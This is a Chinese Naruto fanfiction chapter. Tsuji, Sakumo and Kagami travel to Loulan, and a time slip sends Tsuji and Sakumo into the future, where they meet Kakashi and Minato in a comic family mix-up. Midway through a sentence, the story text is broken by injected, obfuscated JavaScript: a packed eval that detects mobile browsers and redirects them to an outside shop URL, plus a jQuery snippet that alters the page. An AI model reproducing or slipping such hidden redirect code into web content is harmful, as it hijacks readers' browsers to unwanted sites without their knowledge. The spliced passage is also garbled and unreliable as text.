“阵容真是豪华啊,这个小队~”
从看到站在门口整装待发的朔茂那刻起,辻就在心里叹气,再看到赶过来的宇智波镜,辻已经沉下了肩膀,认命地垂下脑袋。
千手扉间竟然安排了三个上忍组队……他们看着很像骡子吗?风暴啊,请来得小一些吧!
“3B。”辻有些无奈,他只是想出村溜达两圈,但眼下这情况一时半会儿似乎回不来了。
“2个A级任务。”旗木朔茂把自己的任务卷轴递到辻的面前。
“……4个。”气氛似乎有些微妙,宇智波镜掏出忍具包里的卷轴,交给队长,“1个B级,2个A级,还有1个S级。”
“深受火影大人的信任和器重呢,镜。”一目十行地看完了卷轴,掏出地图规划路线的辻咬牙感叹。
“哪里哪里……”受宠若惊地摆摆手,得到了扉间大人的参谋高度评价的宇智波深受鼓舞地将手握成拳靠在胸前,“这都是我作为木叶忍者应该做的!”
一只村性恋、性格敦厚还不剑走偏锋的宇智波,难怪扉间这么中意。
“任务中的辻大人和平时相比简直判若两人。”
穿梭在林间,同旗木朔茂一并前往最后一处任务地点执行护卫任务的宇智波镜想到每次都能提前到达集合点并拿着热气腾腾的吃食等待自己和朔茂的可靠男人,心中满是敬意。
在执行这些连环任务的途中,他们完完全全地被辻大人照顾了,不论是任务方面还是后勤保障。
宇智波镜印象里那些带着无厘头的浅交、二三村民口中关于古蹊辻的“风言风雨”在不断加深的合作过程中全部化作了手执利刃,劈波斩浪,如高山般沉稳的背影。
“等楼兰女王的就任仪式结束,辻大人他马上就会原形毕露的。”
有着丰富的同古蹊辻相处经验的旗木朔茂想到什么无奈地叹气,“好好珍惜这最后的时光吧,镜前辈。之后,请务必帮我一起看好辻大人。绝对、绝对不能让他一个人乱跑。”
回去的路上,没准一个眨眼或是错身,辻大人就“迷失”在了不知名的热闹城镇、村庄!
“乱跑?”
宇智波镜表情变得古怪,微垂的狗狗眼化作了两粒黑亮亮的豆子——
这是用来形容一个成熟的、身经百战的木叶上忍的词汇吗?
如果辻大人真的做出了朔茂所说的那些事,那般反常的举动是否蕴含着他所不知的深意呢?
“回程路上一定要打起精神,比做任务时更集中、更专注!”
“你太紧张了,朔茂。人是会随着时间变化和成长的。”拿出前辈的架势,宇智波镜反过来语重心长地安慰这个如临大敌的后辈。
人确实会成长,正如驯养海鸥做通灵兽的辻大人也可以成长为出色的训犬大师。
少年想到自己那群各个自称是“养千弥高手”还要争个高低的忍犬们,沉默地不做评价。心脏砰砰地跳,旗木朔茂愈发不安了。
“据说楼兰国存在蕴含着巨大查克拉的名为龙脉的力量。”
双手抱胸站在阴影里,辻看着不远处正在吟唱咒语的王女,“大地在震动,是与地脉产生了共鸣吗?”
辻感知到了一股巨大的、能够顷刻间将地面上的一切摧毁的力量不停地翻腾、涌动,有一刹那,泽法老师的身影在他脑海中闪过。
进入这个书中时空是否是命运是对自己不自量力的无情嘲讽?
“仪式似乎结束了。”
臣民们的欢呼声渐弱,看到沿着地脉的那股查克拉再度蛰伏下去,宇智波镜眼中的勾玉消失,站得笔挺等待辻的指示。
“我们也走吧,去找先代女王取信印,然后回村。”沉默深思了许久,在说话的瞬间意识到自己的语气过于沉重,男人身体一歪从墙边滑落抱怨道,“好累好累!”
……
“已经不想走了~”这句话,古蹊辻说得真心实意。
精神一松懈,疲惫感就如浪潮般不断地反涌。
他深深敬重着的泽法老师啊……帅气地选择了孤身独行,壮烈地走完了自己的一生。试图扰乱那曲悲歌的他是否违背了老师的意志?
“请再坚持一下。”旗木朔茂走在辻的身侧熟练地应付道。
“等等!”还没走出楼兰国的辻表情凝重地回望身后王所居住的高塔,手指甫一触地就冲着走在前面的镜高声大喊,“镜!”
三人的周身闪耀着从地下涌现出的查克拉光芒,抓住了离得最近的旗木朔茂,与飞速回退过来的宇智波握了个空的辻失去重心猛地向前扑去。
真是的,那位楼兰的先代女王似乎也不是什么教育大家。新女王是把蕴含了强大力量的咒语当歌唱吗?
……
“未来?或是平行时空?”和旗木朔茂在疑似人去楼空的楼兰国搜查一圈的辻躺在地上,滚了一圈,“镜去哪了啊?!不会没和我们在一个时空吧?”
茫茫沙漠他完全感知不到……嗯?木叶的方向……这是……
支起腿坐起来的辻长叹,“到哪都有战争啊。”
……
“你应该已经死了——为什么?”带着不甘,魔蛭吐着血沫丧失了生息。
旗木卡卡西看着出现在岩忍身后帮他解决了一场生死危机的木叶忍者,谨慎地反手握住背后的白牙短刀。
金色身影帮带土解决麻烦后瞬身挡在弟子身前。
“辻……大人。”认出了来人的身份,波风水门原本凌厉的蓝眼不可置信地睁成了圆圆的猫瞳。
“水门老师?”是认识的人吗?
旗木卡卡西看到有什么亮晶晶的东西在老师眼角一闪而过。
老师在流泪?这不可能。是他汗水落进了眼睛,看花了眼。
“你谁啊?算了,既然认识我的话,现在是木叶多少年?在位火影是谁?古蹊千弥在哪里?”
从对方充满悔恨与自责的表情里意识到什么的古蹊辻沉默地转过身。
感知到旗木朔茂的位置,带着一身的杀气走进战场的辻看着敌对的岩忍道,“我现在的心情很不好,再不撤退的话,就都留下来吧。”
下一秒,霸王色霸气席卷战场,大地沉吟,草木湮灭,黑红色的闪电在一棵棵拔根而起的大树上留下道道深疮,木叶与岩忍的攻防形势转瞬逆转。
“辻大人?”
“让他们去补刀。”
“是!”
回到战场,无条件地听从辻的指令,旗木朔茂转头向木叶忍者传令,说完也不再管未来的木叶村同伴,径自穿梭于岩忍之间。
“这个世界简直糟透了。”
“是发生什么了吗?”收割性命归来的旗木朔茂担忧地看向身边气息不稳的古蹊辻,对自己被敌友两方冠以“亡者”、“白色幽灵”之名反而充耳不闻。
“简单形容的话,大概就是包括我自己在内,我在意的人们都不在了吧。”古蹊辻想不明白,未来怎么会发展成这般模样,但面对地上染血的焦土时,一切似乎又都说得通了。
“简直像噩梦一样。”找了一块儿干净点的地方,坐在断木上的旗木朔茂看着手心里带着一束绿芽的断枝,声音轻得像是怕惊扰到什么。
有认识古蹊辻的老忍者,也有认识旗木朔茂的后辈,但没人敢走上前同这两只“亡魂”搭话。
“辻大人,旗木前辈。”
带着学生们匆匆赶来的波风水门没等开口,就被更受眼前一幕刺激的旗木卡卡西打断——
“父亲!”
“父亲……是指我吗?”成熟的少年侧过头,难得地像个孩子一样无助地看向辻。可对方不知何时合上了眼,双手搭在脑后枕着断木假寐。甚至很坏心眼地呼噜噜地打假呼噜。
“你的名字是旗木朔茂对吧!”爱与怨交织,旗木卡卡西强忍着落泪的心情,看向这个没有与他生活经历的年轻版的父亲。
辻大人,请快来帮帮他。旗木朔茂感觉自己的目光灼热得堪比灼遁,可是皮糙肉厚的男人仍不为所动。
“呼噜噜~~~”
眼见求救无门,旗木朔茂只好硬着头皮接话,“我是叫这个名字。”
执行一次护卫任务喜提好大儿的旗木朔茂握着手里的白牙,不知如何是好。
也许换他的忍犬们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055262|194874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来代替自己,反而能更好地处理当下的场面。毕竟它们有一个算一个全都自称有十分丰富的与孩子相处的经验。
“我的父亲叫旗木朔茂,母亲叫千(せん)或者千弥(チヤミ),虽然我没有见过她,但如果是父亲你的话一定认识吧。”
还在自证身份的旗木卡卡西不知道自己抛下了一枚有着何等威力的炸弹,目光灼灼地盯着眼前这个只比自己大了些许年岁的年轻的父亲。
旗木卡卡西没注意到,自己的老师同样因为自己的话“Boom”地经历了一场瞳孔地震,如天空般澄蓝的目光悲伤地落在自己的身上。站在波风水门身后的带土和琳对视一眼,沉默地竖起耳朵。
这下,旗木朔茂是真的炸毛了。
“辻大人!请快点过来帮帮我!求您了!”
自己未来真的堕落了!!!真是可怕的未来!!!
“这个时候就不要假装睡觉了,您不是千弥的父亲吗!”
沉稳的气质碎成了渣渣,双手在辻身上推出残影的白发少年崩溃大喊。
“这种时候应该是你向我解释,朔茂kun。”
像面团一样被来回推揉的男人无奈地睁开眼看着旗木朔茂,“再不济这小子也该姓古蹊吧?我们家的家训你忘了吗?就算是三代还宗,这也才第二代呢。”
“您在胡说什么呢辻大人!”想找个靠谱的大人依靠,不料被火上浇油的旗木朔茂嗓子都要劈叉了,“虽然、这个少年,可是、可是我还是觉得不可能啊!”
到底变成了多么卑劣的大人啊,未来的自己!
“您对我说过无数次,您是爱着我的,母亲也会如此。”不被年轻版父亲承认的卡卡西冷漠地添乱。
他说不清自己想在这个父亲身上寻找什么,但对方这副崩溃到无以复加的模样让他很不爽。
“可千弥才3岁!”旗木朔茂风度尽失。
旗木卡卡西抱着胸惊讶地睁大眼睛——难怪父亲很少提及母亲的事,说到母亲也只是不断地说他们都很爱他,像是告诉他,也像是告诉自己。
“4岁了。”抱着胸的古蹊辻严谨地指正道。
“这不重要!”旗木朔茂像一只烧干了水的水壶。
“这很重要。”古蹊辻稳健地像块干冰。
“还是请您先安静一会吧。”
“明明是你求我醒过来的,现在却让我安静,唉~还真是拿你没办法啊。好善变,朔茂kun~”
把头狠狠地撞进膝盖里,磕红了额头的白发少年世界观缓慢重组。
“卡卡西。”手覆在弟子头顶,收拾好心情的波风水门扬起一抹温柔的笑意,嘴角弯弯的弧度像极了千弥,“请问你介意让我做你的继父吗?”
“对了,辻大人,初次见面,我是波风水门。是您为千弥寻找的超划算0元购便宜好用居家必备业务水平一流的婿养子。”顶着一头狮子一样毛茸茸看起来无比蓬松的金发,波风水门微笑着自我介绍。
“哦啊~看着长成不错的大人了,水门。”
“是!目前我正在以火影为目标不断努力。”
“火影啊,会很辛苦的,要做好觉悟哦!”
“是!”
“明明是初次见面,为什么表现得这么熟稔啊?!”
没等完全接受现实就先一步遇到了试图无竞争上岗、顶替自己地位的替身忍者,旗木朔茂怀疑自己进入了可怕的幻术,身边的查克拉不要钱似的往外溢散。
“还没接受现实吗?你的承受能力未免太脆弱了,朔茂kun。”古蹊辻叹气,挥散迸到身边的蓝色的查克拉,末了还戏感十足,悲悯地摇了摇头。
“是您的神经太粗了。”旗木朔茂只觉得这个世界假得可怕。
在同海未大人交流后,他得空去火之国的火之寺收了很多修心养性的经文。难道未来的自己看书看得触底反弹,反而激发出潜藏在心底的恶魔了吗?
在现在的他眼里,这些经书确实是磨练心性、修炼刀法不可多得的名著啊!
问题来了,那些书还能留着吗?!
现在的自己已经腐败到何种地步了呢?